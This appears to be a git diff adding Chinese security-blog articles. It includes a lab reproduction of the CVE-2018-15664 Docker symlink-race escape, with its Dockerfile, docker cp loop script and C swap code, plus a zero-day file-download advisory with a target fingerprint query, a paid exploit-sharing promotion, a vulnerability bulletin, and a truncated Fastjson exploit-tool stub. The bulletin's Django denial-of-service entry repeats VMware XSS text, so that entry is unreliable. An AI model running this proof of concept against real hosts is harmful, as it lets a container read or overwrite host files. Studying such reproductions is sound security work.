+这里使用Metarget来构建环境： +``` +./metarget cnv install cve-2018-15664 +docker --version +``` + +![](https://mmbiz.qpic.cn/mmbiz_png/PJcQz9vmUiclBNiaEvnGcM0u5b4OuHZbET4d3ibFfjBRiaIxRnlp9g5picJRzL5nVOSriaLY0NPPAgIZI4UYRicHUN97Q/640?wx_fmt=png "") +#### 漏洞分析 + +漏洞POC: + +https://github.com/Metarget/cloud-native-security-book/tree/main/code/0302-%E5%BC%80%E5%8F%91%E4%BE%A7%E6%94%BB%E5%87%BB/02-CVE-2018-15664/symlink_race/build + +![](https://mmbiz.qpic.cn/mmbiz_png/PJcQz9vmUiclBNiaEvnGcM0u5b4OuHZbETXed00UrviblLmwAoW4ljvwrPhqm2c6YryYeeVicMHwIOeXq4mVUQOjaw/640?wx_fmt=png "") + + +文件目录查看： +``` +root@ubuntu:/home/ubuntu# tree symlink_race +symlink_race +├── build +│   ├── Dockerfile +│   └── symlink_swap.c +├── run_read.sh +└── run_write.sh + +1 directory, 4 files +root@ubuntu:/home/ubuntu# +``` + + +文件用途说明： +- Dockerfile : 构造Docker镜像文件 + +- symlink_swap.c : 运行在Docker容器内部的POC + +- run_read.sh : 实现读取宿主机文件内容的Shell脚本 + +- run_write.sh : 实现向宿主机中写文件的Shell脚本 + +Dockerfile内容： + +首先获取基础镜像opensuse/tumbleweed，然后在镜像里编译添加了poc文件/symlink_swap , 最后写了一个falg 性质的文件/w00t_w00t_im_a_flag，内容为"FAILED -- INSIDE CONTAINER PATH" +``` +# Build the binary. +FROM opensuse/tumbleweed +RUN zypper in -y gcc glibc-devel-static +RUN mkdir /builddir +COPY symlink_swap.c /builddir/symlink_swap.c +RUN gcc -Wall -Werror -static -o /builddir/symlink_swap /builddir/symlink_swap.c + +# Set up our malicious rootfs. +FROM opensuse/tumbleweed +ARG SYMSWAP_TARGET=/w00t_w00t_im_a_flag +ARG SYMSWAP_PATH=/totally_safe_path +RUN echo "FAILED -- INSIDE CONTAINER PATH" >"$SYMSWAP_TARGET" +COPY --from=0 /builddir/symlink_swap /symlink_swap +ENTRYPOINT ["/symlink_swap"] +``` + +Run_read.sh内容： +``` +SYMSWAP_PATH=/totally_safe_path +SYMSWAP_TARGET=/w00t_w00t_im_a_flag + +# Create our flag. +echo "SUCCESS -- COPIED FROM THE HOST" | sudo tee "$SYMSWAP_TARGET" +sudo chmod 000 "$SYMSWAP_TARGET" + +# Run and build the malicious image. +docker build -t cyphar/symlink_swap \ +    --build-arg "SYMSWAP_PATH=$SYMSWAP_PATH" \ +    --build-arg "SYMSWAP_TARGET=$SYMSWAP_TARGET" build/ +ctr_id=$(docker run --rm -d cyphar/symlink_swap "$SYMSWAP_PATH") + +# Now continually try to copy the files. +idx=0 +while true +do +    mkdir "ex${idx}" +    docker cp "${ctr_id}:$SYMSWAP_PATH/$SYMSWAP_TARGET" "ex${idx}/out" +    idx=$(($idx + 1)) +done +``` + +Run_read.sh脚本在host主机/w00t_w00t_im_a_flag文件写入falg内容SUCCESS -- COPIED FROM THE HOST然后build，run cyphar/symlink_swap容器，最后写了个while死循环实现不间断docker cp行为 + +Symlink_swap.c重点内容： +``` +    /* + * Now create a symlink to "/" (which will resolve to the host's root if we + * win the race) and a dummy directory at stash_path for us to swap with. + * We use a directory to remove the possibility of ENOTDIR which reduces + * the chance of us winning. + */ +    if (symlink("/", symlink_path) < 0) +        bail("create symlink_path"); +    if (mkdir(stash_path, 0755) < 0) +        bail("mkdir stash_path"); + +    /* Now we do a RENAME_EXCHANGE forever. */ +    for (;;) { +        int err = rrenameat2(AT_FDCWD, symlink_path, +                            AT_FDCWD, stash_path, RENAME_EXCHANGE); +        if (err < 0) +            perror("symlink_swap: rename exchange failed"); +    } +    return 0; +} +``` + +symlink_path为argv[1]传递过来的参数，从run_read.sh中我们得知为目录/totally_safe_path，然后使用symlink函数将symlink_path软链接至系统根目录，最后使用for (;;)死循环调用rrenameat2函数，创造赢得TOCTOU攻击的机会，根据作者介绍poc脚本只有1%的机会成功利用TOCTOU攻击，但是在10s后就极可能的成功获取到host主机上的文件 +#### 漏洞利用 + +执行run_write.sh脚本运行恶意容器，然后不断执行docker cp命令，漏洞未触发时，宿主机上的/w00t_w00t_im_a_flag的内容为"FAILED -- HOST FILE UNCHANGED" +``` +./run_write.sh +``` + +![](https://mmbiz.qpic.cn/mmbiz_png/PJcQz9vmUiclBNiaEvnGcM0u5b4OuHZbET6O9EVeKxHmDqlQlqhFjcwms5MObbbWicFxZEStf7BA5KS2g44dlicaaQ/640?wx_fmt=png "") + + +![](https://mmbiz.qpic.cn/mmbiz_png/PJcQz9vmUiclBNiaEvnGcM0u5b4OuHZbETZgkviapM6p661HafxwD6DPD62OtAIUicIibUldenVhgcM9J37UROibEHXg/640?wx_fmt=png "") + + +![](https://mmbiz.qpic.cn/mmbiz_png/PJcQz9vmUiclBNiaEvnGcM0u5b4OuHZbETWjHW6DfwIjcPyWic2Wx9iaVjZxuqIxsicel6IKPwYOCvUJSJIN8jFYBZg/640?wx_fmt=png "") + +#### 参考连接 + +https://seclists.org/oss-sec/2019/q2/131 + + +**推 荐 阅 读** + + + +[](https://mp.weixin.qq.com/s?__biz=Mzg4MTU4NTc2Nw==&mid=2247491843&idx=1&sn=98dc962da698a1bdd333be8def6ecad5&scene=21#wechat_redirect) +[](https://mp.weixin.qq.com/s?__biz=Mzg4MTU4NTc2Nw==&mid=2247493597&idx=1&sn=ed103645b4c30c4692f0cece6a5ac6c1&scene=21#wechat_redirect) +[](https://mp.weixin.qq.com/s?__biz=Mzg4MTU4NTc2Nw==&mid=2247491787&idx=2&sn=509e2b46d9144323fc9d13a1567296c3&scene=21#wechat_redirect) + +横向移动之RDP&Desktop Session Hija + + diff --git a/doc/Nuclei AI - 让漏洞发现更加智能化与高效.md b/doc/Nuclei AI - 让漏洞发现更加智能化与高效.md new file mode 100644 index 00000000..96939094 --- /dev/null +++ b/doc/Nuclei AI - 让漏洞发现更加智能化与高效.md @@ -0,0 +1,71 @@ +# Nuclei AI - 让漏洞发现更加智能化与高效 +原创 白帽学子 白帽学子 2024-12-10 00:11 + +记得上周我们进行了一次安全演练，面对大量的漏洞信息，我几乎快被繁琐的手动操作压垮了。要从技术博客、漏洞报告或者社交媒体上提取相关信息并转化为可用的检测模板，那真是个耗时耗力的活儿。 + +这时候偶然听说了 Nuclei AI 浏览器扩展，它是基于 ProjectDiscovery 云平台的一款工具，可以帮助我们自动生成漏洞扫描的模板。老实说，一开始我也没抱太大希望，想试试能不能减轻一点负担。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/LYy9xnADcdjtX2tWtdITnYKHYbuMaPxjuaQLGkibXquUDTDSIGtRWezgXWvvnSNo1URfiavenO8eic0iaz24WAeS4Q/640?wx_fmt=jpeg "") + +使用起来真的很简单！只需在网页上找到相关的漏洞信息，右键点击，就能看到 “生成 Nuclei 模板” 的选项。AI 会自动帮我生成所需的模板，这样我就能集中精力进行更深入的分析，而不是被重复的手动操作搞得焦头烂额。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/LYy9xnADcdjtX2tWtdITnYKHYbuMaPxjj8eHB6XZcAcDeDc2PxYOWjNCsh1rH0fCQlRibNBFZb6xzvicvOVwfMJQ/640?wx_fmt=jpeg "") + +更棒的是，它还支持从 HackerOne 和 ExploitDB 等平台提取信息。比如，当我在查看 HackerOne 的一些漏洞报告时，只需点击一下侧边栏的按钮，模板就跑出来了。 + +想要获取工具的小伙伴可以直接**拉至文章末尾** + +我们来提取并讨论上述工具描述中涉及的网络安全关键技术点： + +1、自动化漏洞检测与模板生成： +- - 随着网络环境的复杂性增加，手动编写和维护漏洞扫描模板变得越来越耗时。通过自动化工具生成模板，安全团队能够迅速适应新出现的漏洞，同时保持灵活性。这种技术不仅提高了工作效率，还减少了人为错误的可能性，使得漏洞检测过程更加可靠。 + + +- 随着网络环境的复杂性增加，手动编写和维护漏洞扫描模板变得越来越耗时。通过自动化工具生成模板，安全团队能够迅速适应新出现的漏洞，同时保持灵活性。这种技术不仅提高了工作效率，还减少了人为错误的可能性，使得漏洞检测过程更加可靠。 + +2、跨平台信息提取能力： +- - 不同的漏洞报告平台提供了不同类型的信息，能够跨平台提取并统一处理这些数据，显著增强了信息收集的效率。这意味着安全工程师可以更全面地了解当前漏洞状况，并快速响应新发现的问题。这种能力在动态变化的网络安全环境中尤为重要。 + + +- 不同的漏洞报告平台提供了不同类型的信息，能够跨平台提取并统一处理这些数据，显著增强了信息收集的效率。这意味着安全工程师可以更全面地了解当前漏洞状况，并快速响应新发现的问题。这种能力在动态变化的网络安全环境中尤为重要。 + +3、集成与用户体验： +- - 将安全工具集成到浏览器中，使得工程师在进行日常活动时，可以无缝切换到漏洞检测任务。这种集成方式降低了学习曲线，用户能够更快地掌握工具的使用，从而提升整体的工作效率。此外，右键菜单和快捷键支持也使得操作更加直观流畅。 + + +- 将安全工具集成到浏览器中，使得工程师在进行日常活动时，可以无缝切换到漏洞检测任务。这种集成方式降低了学习曲线，用户能够更快地掌握工具的使用，从而提升整体的工作效率。此外，右键菜单和快捷键支持也使得操作更加直观流畅。 + +4、人工智能的应用： +- - AI 的引入为漏洞检测提供了新的可能性，通过机器学习和自然语言处理，未来的版本可能会不断优化模板生成的准确性和相关性。这种智能化的处理方式让安全研究员能够将更多时间投入到策略制定和深度分析，而不仅仅是规范化的操作。 + + +- AI 的引入为漏洞检测提供了新的可能性，通过机器学习和自然语言处理，未来的版本可能会不断优化模板生成的准确性和相关性。这种智能化的处理方式让安全研究员能够将更多时间投入到策略制定和深度分析，而不仅仅是规范化的操作。 + +5、效率与质量的平衡： +- - 尽管 Nuclei AI 可以快速生成模板，但在某些情况下可能无法完全满足特定需求或信息不完整。因此，安全团队需要保持一定的审慎态度，在依赖自动化工具的同时，确保生成的模板经过必要的验证和调整。这种对质量的重视将有助于避免因模板问题导致的漏检或误报情况。 + + +- 尽管 Nuclei AI 可以快速生成模板，但在某些情况下可能无法完全满足特定需求或信息不完整。因此，安全团队需要保持一定的审慎态度，在依赖自动化工具的同时，确保生成的模板经过必要的验证和调整。这种对质量的重视将有助于避免因模板问题导致的漏检或误报情况。 + + + + +**下载链接** + +https://github.com/projectdiscovery/nuclei-ai-extension + + + +![](https://mmbiz.qpic.cn/sz_mmbiz_gif/LYy9xnADcdhic61NkXCWKufScrUrmmsG8tztWD8fDRiatPUaljxxpKc1PpnYNFjPibU5FwJmcuO4mZoQg5aXsAcog/640?wx_fmt=gif&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "") + + +声明：该公众号大部分文章来自作者日常学习笔记，也有部分文章是经过作者授权和其他公众号白名单转载，未经授权，严禁转载，如需转载，联系开白名单。 + +请勿利用文章内的相关技术从事非法测试，如因此产生的一切不良后果与本公众号无关。 + +✦ + +✦ + + + diff --git a/doc/【0day】安徽生命港湾信息技术有限公司服务配置工具存在任意文件下载漏洞.md b/doc/【0day】安徽生命港湾信息技术有限公司服务配置工具存在任意文件下载漏洞.md new file mode 100644 index 00000000..ab0386b6 --- /dev/null +++ b/doc/【0day】安徽生命港湾信息技术有限公司服务配置工具存在任意文件下载漏洞.md @@ -0,0 +1,130 @@ +# 【0day】安徽生命港湾信息技术有限公司服务配置工具存在任意文件下载漏洞 +原创 xiachuchunmo 银遁安全团队 2024-12-09 22:01 + +**需要EDU SRC邀请码的师傅可以私聊后台，免费赠送EDU SRC邀请码（邀请码管够）** + +![](https://mmbiz.qpic.cn/mmbiz_gif/4yJaCArQwpACMJuBxI11jPgvHCxQZFQxPrt5iaQRibgGl0aIzFo4hDCYcFuyViag6zhuqNEjjeasfMEAy1rkaOahw/640?wx_fmt=gif&wxfrom=5&wx_lazy=1 "") + + +**漏洞简介** + + +![](https://mmbiz.qpic.cn/mmbiz_gif/4yJaCArQwpACMJuBxI11jPgvHCxQZFQxPrt5iaQRibgGl0aIzFo4hDCYcFuyViag6zhuqNEjjeasfMEAy1rkaOahw/640?wx_fmt=gif&wxfrom=5&wx_lazy=1 "") + + +******安徽生命港湾信息技术有限公司凭借技术团队多年的行业耕耘及深入场景的产品设计和创新，以IBMS为可视化运维管理平台，将物联网数据采集、大数据与IBMS融合，实现安防、医疗、楼宇自控、能源、园区、环境、城市、应急等智慧控制管理功能，为医院、园区、教育、政务、轨道交通等行业提供智慧建筑全生态解决方案。安徽生命港湾信息技术有限公司服务配置工具存在任意文件下载漏洞。** + +![](https://mmbiz.qpic.cn/mmbiz_gif/4yJaCArQwpACMJuBxI11jPgvHCxQZFQxPrt5iaQRibgGl0aIzFo4hDCYcFuyViag6zhuqNEjjeasfMEAy1rkaOahw/640?wx_fmt=gif&wxfrom=5&wx_lazy=1 "") + + +**资产测绘** + + +![](https://mmbiz.qpic.cn/mmbiz_gif/4yJaCArQwpACMJuBxI11jPgvHCxQZFQxPrt5iaQRibgGl0aIzFo4hDCYcFuyViag6zhuqNEjjeasfMEAy1rkaOahw/640?wx_fmt=gif&wxfrom=5&wx_lazy=1 "") + +``` +body="css/markdown.css" && body="icon-512.png" +``` + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/yeJvia5dNx5ibztWfyEYL1LVwVbYFuYeODZicibpsy2kkamlYQuTFWRkGDQM3a7B0FmdMzCP9dcfHAUbmrPZ7qhfQA/640?wx_fmt=png&from=appmsg "") + + +![](https://mmbiz.qpic.cn/mmbiz_gif/4yJaCArQwpACMJuBxI11jPgvHCxQZFQxPrt5iaQRibgGl0aIzFo4hDCYcFuyViag6zhuqNEjjeasfMEAy1rkaOahw/640?wx_fmt=gif&wxfrom=5&wx_lazy=1 "") + + +**漏洞复现** + + +![](https://mmbiz.qpic.cn/mmbiz_gif/4yJaCArQwpACMJuBxI11jPgvHCxQZFQxPrt5iaQRibgGl0aIzFo4hDCYcFuyViag6zhuqNEjjeasfMEAy1rkaOahw/640?wx_fmt=gif&wxfrom=5&wx_lazy=1 "") + + +**下载web.config文件测试** + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/yeJvia5dNx5ibztWfyEYL1LVwVbYFuYeODjeI0at4icbyaPXqq2n2hs53HKPqicyiaYqnmEqZND87yO3fE3aDhvOQiag/640?wx_fmt=png&from=appmsg "") +**** +![](https://mmbiz.qpic.cn/mmbiz_gif/4yJaCArQwpACMJuBxI11jPgvHCxQZFQxPrt5iaQRibgGl0aIzFo4hDCYcFuyViag6zhuqNEjjeasfMEAy1rkaOahw/640?wx_fmt=gif&wxfrom=5&wx_lazy=1 "") + + +**Nuclei测试** + + +![](https://mmbiz.qpic.cn/mmbiz_gif/4yJaCArQwpACMJuBxI11jPgvHCxQZFQxPrt5iaQRibgGl0aIzFo4hDCYcFuyViag6zhuqNEjjeasfMEAy1rkaOahw/640?wx_fmt=gif&wxfrom=5&wx_lazy=1 "") + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/yeJvia5dNx5ibztWfyEYL1LVwVbYFuYeODsEhDxht5wdnonxdKaBaAtJ46Muian6t59lyof6k86HOGBCVFc9C1z5A/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/mmbiz_gif/4yJaCArQwpACMJuBxI11jPgvHCxQZFQxPrt5iaQRibgGl0aIzFo4hDCYcFuyViag6zhuqNEjjeasfMEAy1rkaOahw/640?wx_fmt=gif&wxfrom=5&wx_lazy=1 "") + + +**圈子介绍** + + +![](https://mmbiz.qpic.cn/mmbiz_gif/4yJaCArQwpACMJuBxI11jPgvHCxQZFQxPrt5iaQRibgGl0aIzFo4hDCYcFuyViag6zhuqNEjjeasfMEAy1rkaOahw/640?wx_fmt=gif&wxfrom=5&wx_lazy=1 "") + + +高 +质量漏洞利用工具分享社区，每天至少更新一个0Day/Nday/1day及对应漏洞的批量利用工具，团队内部POC分享，星球不定时更新内外网攻防渗透技巧以及最新学习研究成果等。 +如果师傅还是新手，内部的交流群有很多行业老师傅可以为你解答学习上的疑惑，内部分享的POC可以助你在Edu和补天等平台获得一定的排名。 +如果师傅已经 +是老手了，有一个高质量的LD库也能为你的工作提高极大的效率，实战或者攻防中有需要的Day我们也可以通过自己的途径帮你去寻找。 + +**【圈子服务】** + +1，一年至少365+漏洞Poc及对应漏洞批量利用工具 + +2，Fofa永久高级会员 + +3，24HVV内推途径 + +4，Cmd5解密，各种漏洞利用工具及后续更新，渗透工具、文档资源分享 + +5，内部漏洞 +库情报分享 +（目前已有2000+ +poc，会定期更新，包括部分未公开0/1day） + +6，加入内部微信群，认识更多的行业朋友（群里有100+C**D通用证书师傅），遇到任何技术问题都可以进行快速提问、讨论交流； + + +圈子目前价格为**129元** +**(交个朋友啦！)** +，现在星球有近900+位师傅相信并选择加入我们，人数满1000 +**涨价至149**，圈子每天都会更新内容。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/yeJvia5dNx5ibmJXuUnaww610JyW2aMD7XyghxoOEL12QTuKPMtygJ7abCibjickyRUpBPDf52hoXPRu3nWEmjzt5A/640?wx_fmt=jpeg&from=appmsg "") + +![](https://mmbiz.qpic.cn/mmbiz_gif/4yJaCArQwpACMJuBxI11jPgvHCxQZFQxPrt5iaQRibgGl0aIzFo4hDCYcFuyViag6zhuqNEjjeasfMEAy1rkaOahw/640?wx_fmt=gif&wxfrom=5&wx_lazy=1 "") + + +**圈子近期更新LD库** + + +![](https://mmbiz.qpic.cn/mmbiz_gif/4yJaCArQwpACMJuBxI11jPgvHCxQZFQxPrt5iaQRibgGl0aIzFo4hDCYcFuyViag6zhuqNEjjeasfMEAy1rkaOahw/640?wx_fmt=gif&wxfrom=5&wx_lazy=1 "") + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/yeJvia5dNx5ibvkW4kOOKEsgsWAVmfnvfMe3v0zbgAeT2YIhMjC9bNibjDfM2iaX1KBIPj20hjxAgv5zSN70prQbnw/640?wx_fmt=png&from=appmsg "") + +**每篇文章均有详细且完整的手工WriteUp****（跟其他只有POC，没有验证截图的不一样）** + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/yeJvia5dNx5ibK7Dv4GdXpIuKGmLtjmiaeQuz0vbaPubOpv3oWAehI3Pr5flA7KQSUWtKIyycZezdAxmic5rpy2tHw/640?wx_fmt=other&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "") + +**星球提供免费F**a**![](https://mmbiz.qpic.cn/sz_mmbiz_png/yeJvia5dNx5ic3icibHW6nDoAAoX9Spv9mREyEWTD0kRZWwApI2LKZDlqDfFj0Hnbja85ppeKPty1oOKFD80G5iadWQ/640?wx_fmt=png&from=appmsg "") +**C**D通用证书**![](https://mmbiz.qpic.cn/sz_mmbiz_png/yeJvia5dNx58DwP8VMPgSaerUmic8LCGk5jhbicyy191eM5iaAb5eRfGQxwvpnSgulblAQMicmsuMsaZKmIJtMJz5Dw/640?wx_fmt=png&from=appmsg "") +**一起愉快的刷分**![](https://mmbiz.qpic.cn/sz_mmbiz_png/yeJvia5dNx5ibz6ibFL4b8QBThc3t0ok0Gb7jsseWcrYsxNbv9qyQ0uhDib7TkUcLIIos2iaYlzL6TcF3ia2Rric1EH1g/640?wx_fmt=png&from=appmsg "") + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/yeJvia5dNx58DwP8VMPgSaerUmic8LCGk5OLe83RzNx2OVXIhBRqAfKIr4lNX74T6M90gNx5ibhulX1JgR3qPLLKA/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/mmbiz_gif/4yJaCArQwpACMJuBxI11jPgvHCxQZFQxPrt5iaQRibgGl0aIzFo4hDCYcFuyViag6zhuqNEjjeasfMEAy1rkaOahw/640?wx_fmt=gif&wxfrom=5&wx_lazy=1&tp=webp "") + + +**免责声明** + + +![](https://mmbiz.qpic.cn/mmbiz_gif/4yJaCArQwpACMJuBxI11jPgvHCxQZFQxPrt5iaQRibgGl0aIzFo4hDCYcFuyViag6zhuqNEjjeasfMEAy1rkaOahw/640?wx_fmt=gif&wxfrom=5&wx_lazy=1&tp=webp "") + + +![](https://mmbiz.qpic.cn/mmbiz_gif/HVNK6rZ71oofHnCicjcYq2y5pSeBUgibJg8K4djZgn6iaWb6NGmqxIhX2oPlRmGe6Yk0xBODwnibFF8XCjxhEV3K7w/640?wx_fmt=gif&wxfrom=5&wx_lazy=1&tp=webp "") + +文章所涉及内容，仅供安全研究与教学之用，由于传播、利用本文所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，作者不为此承担任何责任。 + diff --git a/doc/安全卫士 | 魔方安全漏洞周报.md b/doc/安全卫士 | 魔方安全漏洞周报.md index 5b4e940b..6028d176 100644 --- a/doc/安全卫士 | 魔方安全漏洞周报.md +++ b/doc/安全卫士 | 魔方安全漏洞周报.md @@ -1,7 +1,7 @@ # 安全卫士 | 魔方安全漏洞周报 -原创 漏洞管理也找 魔方安全 2024-12-02 10:30 +原创 漏洞管理也找 魔方安全 2024-12-09 10:31 -**11.25 - 12.01** +**12.02 - 12.08** **漏洞周报** @@ -11,121 +11,246 @@ NEWS  -🔹 泛微 发布安全公告 +🔹 Vmware 发布安全公告 -🔹 Apache NiFi 信息泄露漏洞 +🔹 + Django 发布安全公告 -🔹 7-Zip Zstandard解压整数下溢远程代码执行漏洞 +🔹 SONICWALL 发布了安全公告 -🔹 Zabbix SQL注入漏洞 +🔹 +  +ProFTPD 权限提升漏洞 魔方安全提醒您：保护企业网络空间资产安全至关重要！以下漏洞请重点关注。 -**泛微发布安全公告** +**Vmware发布安全公告** -近日，泛微Ecology OA发布了安全补丁以修复安全漏洞。 +近日，Vmware发布了安全通告，修复了Vmware Aria Operations中存在的安全漏洞，漏洞编号：CVE-2024-38830、CVE-2024-38831、CVE-2024-38832、CVE-2024-38833、CVE-2024-38834。 -泛微Ecology OA是一款企业级办公自动化软件，是泛微网络科技有限公司开发的一款业务流程管理(BPM)和协同办公(Collaboration)平台。 +Vmware Aria Operations是由VMware提供的一种全面的操作管理和性能优化解决方案。它旨在帮助企业监控、管理和优化其虚拟化和云基础设施环境。 **影响版本** -**后台远程命令执行漏洞** -- 泛微 Ecology 9.x 补丁版本号 ＜ v10.71 +- 8.x ≤ VMware Aria Operations ＜ 8.18.2 -- 泛微 Ecology 8.x 补丁版本号 ＜ v10.71 +- VMware Cloud Foundation(VMware Aria Operations) 5.x -**后台项目路径删除漏洞** -- 泛微 Ecology 9.x 补丁版本号 ＜ v10.71 +- VMware Cloud Foundation(VMware Aria Operations) 4.x -**补丁详情** +**漏洞详情** -**补丁类型：**安全更新 +**漏洞名称：**本地权限提升漏洞 -**补丁级别：**中危 +**漏洞类型：**权限提升 -**补丁详情：**修复后台远程命令执行漏洞、后台项目路径删除漏洞。 +**漏洞等级：**高危 + +**CVE编号：** +CVE-2024-38830 + +**漏洞详情：** + +具有本地管理权限的恶意攻击者可能会触发此漏洞，以便将权限提升到运行VMware Aria Operations的设备上的root用户。 + +**漏洞名称：**存储型跨站脚本漏洞 + +**漏洞类型：**xss + +**漏洞等级：**高危 + +**CVE编号：** +CVE-2024-38832 + +**漏洞详情：** + +具有视图编辑权限的恶意攻击者可能能够注入恶意脚本，从而导致在VMware Aria Operations产品中存储跨站点脚本。 **修复建议** -**官方已发布了产品更新补丁，相关用户可下载安装。** +**目前官方已发布了相关安全补丁，受影响用户可下载安装。** **参考链接**： -https://www.weaver.com.cn/cs/securityDownload.html# +https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/security-advisories/0/25199 -**Apache NiFi 信息泄露漏洞** -**漏洞类型：**信息泄露 - -**漏洞等级：**中危 - -**CVE编号：** -CVE-2024-52067 - -**漏洞详情：** - -受影响版本会包括流同步过程中参数上下文值的可选调试日志记录，有权更改日志记录等级的授权管理员可以为框架流同步启用调试日志记录，从而导致应用程序将参数名称和值写入应用程序日志，参数上下文值可能包含敏感信息。使用默认Logback配置部署Apache NiFi不会记录参数上下文值。 - -**修复建议** - -**官方已发布安全版本，受影响用户可下载安装。** - -**** -**参考链接：** - -https://nifi.apache.org/download.html +**Django 发布安全公告** -**7-Zip Zstandard解压整数下溢远程代码执行漏洞** -**漏洞类型：**其它 +近日，Django发布安全公告，修复了存在于Django中的安全漏洞，漏洞编号为：CVE-2024-53908、CVE-2024-53907。 -**漏洞等级：**中危 +Django 是一个由 Python 编写的一个开放源代码的 Web 应用框架,它鼓励快速开发和简洁、实用的设计。 -**漏洞详情：** +**影响版本** -由于Z标准解压缩实现存在缺陷，对于用户提供的数据缺乏适当的验证，可能导致在写入内存之前发生整数下溢，攻击者利用此漏洞可在当前进程的上下文中执行代码。 +**CVE-2024-53908 & CVE-2024-53907** +- Django 5.1.x ＜ 5.1.4 + +- Django 5.0.x ＜ 5.0.10 + +- Django 4.2.x ＜ 4.2.17 -**修复建议** -**官方已发布安全版本，受影响用户可下载安装。** +**漏洞详情** -**** -**参考链接：** - -https://www.7-zip.org/ - - -**Zabbix SQL注入漏洞** +**漏洞名称：**Django Oracle SQL注入漏洞 **漏洞类型：**SQL注入 **漏洞等级：**高危 -**CVE编号：**CVE-2024-42327 +**CVE编号：** +CVE-2024-53908 **漏洞详情：** -Zabbix前端的CUser类中的addRelatedObjects函数未对输入数据进行充分验证和转义，导致具有API访问权限的恶意用户可以通过user.get API传递特制输入触发SQL注入攻击，进而利用该漏洞实现权限提升或访问敏感数据。 +Django应用使用Oracle数据库作为后端时，当Django应用中的django.db.models.fields.json.HasKey查找功能被直接用于Oracle数据库，并且其左侧参数（lhs）包含不受信任的数据时，可能会导致SQL注入攻击，攻击者可通过注入恶意SQL代码来攻击数据库，从而可能导致敏感数据泄露、数据篡改或数据库被恶意控制。 +**漏洞名称：**Django 拒绝服务漏洞 + +**漏洞类型：**拒绝服务 + +**漏洞等级：**中危 + +**CVE编号：** +CVE-2024-53907 + +**漏洞详情：** + +具有视图编辑权限的恶意攻击者可能能够注入恶意脚本，从而导致在VMware Aria Operations产品中存储跨站点脚本。 **修复建议** -**目前官方已发布安全版本，受影响用户可下载安装。** +**目前官方已发布安全版本，受影响用户可下载。** + +**参考链接**： + +https://github.com/django/django/tags + + + +**SONICWALL 发布安全公告** + + + +近日，SONICWALL官方发布了安全公告，修复存在的安全漏洞，漏洞编号为：CVE-2024-40763、CVE-2024-45318、CVE-2024-45319、CVE-2024-53702、CVE-2024-53703。 + +SMA（SonicWall Secure Mobile Access）是统一的安全访问网关，使组织能够随时随地以任何设备访问任何应用程序。 + +**影响版本** + +- SMA 100 Series(SMA 200,210,400,410,500v) ≤ 10.2.1.13-72sv + + + +**漏洞详情** + +**漏洞名称：**SonicWALL SMA 100基于堆的缓冲区溢出漏洞 + +**漏洞类型：**缓冲区溢出 + +**漏洞等级：**高危 + +**CVE编号：** +CVE-2024-40763 + +**漏洞详情：** + +由于使用了strcpy，SonicWall SMA 100 SSLVPN中存在基于堆的缓冲区溢出漏洞。这使得经过身份验证的远程攻击者能够导致基于堆的缓冲区溢出，并可能导致代码执行。 + +**漏洞名称：**基于堆栈的缓冲区溢出漏洞 + +**漏洞类型：**缓冲区溢出 + +**漏洞等级：**高危 + +**CVE编号：** +CVE-2024-45318 + +**漏洞详情：** + +SonicWall SMA 100 SSLVPN Web管理界面中存在一个漏洞，远程攻击者可利用该漏洞导致基于堆栈的缓冲区溢出，并可能导致代码执行。 + +**漏洞名称：**基于证书的身份验证绕过 + +**漏洞类型：**其它 + +**漏洞等级：**中危 + +**CVE编号：** +CVE-2024-45319 + +**漏洞详情：** + +SonicWall SMA 100 SSLVPN中存在一个漏洞，使得经过身份验证的远程攻击者能够在身份验证期间绕过证书要求。 + +**漏洞名称：**不安全的随机性 + +**漏洞类型：**其他 + +**漏洞等级：**中危 + +**CVE编号：** +CVE-2024-53702 + +**漏洞详情：** + +在SonicWall SMA 100 SSLVPN备份代码生成器中使用加密弱伪随机数生成器（PRNG），在某些情况下，攻击者可以预测到，可能会暴露生成的秘密。 + +**漏洞名称：**基于堆栈的缓冲区溢出漏洞 + +**漏洞类型：**缓冲区溢出 + +**漏洞等级：**高危 + +**CVE编号：** +CVE-2024-53703 + +**漏洞详情：** + +Apache Web服务器加载的SonicWall SMA 100 SSLVPN mod_httprp库中存在一个漏洞，使得远程攻击者能够导致基于堆栈的缓冲区溢出，并可能导致代码执行。 + +**修复建议** + +**目前官方已发布相关安全版本或补丁，受影响用户可下载安装。** + +**参考链接**： + +https://www.sonicwall.com/zh-cn/support + + +**ProFTPD权限提升漏洞** + +**漏洞类型：**信息泄露 + +**漏洞等级：**高危 + +**CVE编号：** +CVE-2024-48651 + +**漏洞详情：** + +在受影响的版本中，如果用户没有任何明确分配的附加组，则会继承 GID 为 0(root)的附加组。这将允许攻击者获得对目标系统的 root 访问权限，最终可能会导致系统完全受损。 + +**修复建议** + +**目前官方已发布相关安全版本或补丁，受影响用户可下载安装。** **** **参考链接：** -https://www.zabbix.com/cn/download +https://github.com/proftpd/proftpd/commit/cec01cc0a2523453e5da5a486bc6d977c3768db1 **检测方式** diff --git a/doc/工具 | FastjsonExploit.md b/doc/工具 | FastjsonExploit.md new file mode 100644 index 00000000..93785b09 --- /dev/null +++ b/doc/工具 | FastjsonExploit.md @@ -0,0 +1,23 @@ +# 工具 | FastjsonExploit +浅安 浅安安全 2024-12-10 00:00 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/7stTqD182SXspIn8EJLM6hcSZWI7RibP9I0XwnB70m9quqeUC26TLQcw55DpjkJpiaxFkgMFszXyZ6FulNTt0ggQ/640?wx_fmt=png&from=appmsg "") + +**注：仅供安全研究与学习之用，若将工具做其他用途，由使用者承担全部法律及连带责任，作者及发布者不承担任何法律及连带责任。** + +**0x00 简介** + +FastjsonExploit是一个Fastjson漏洞快速漏洞利用框架。**** + +**0x01 功能说明** +- 生成利用payload，并启动利用环境 + +- 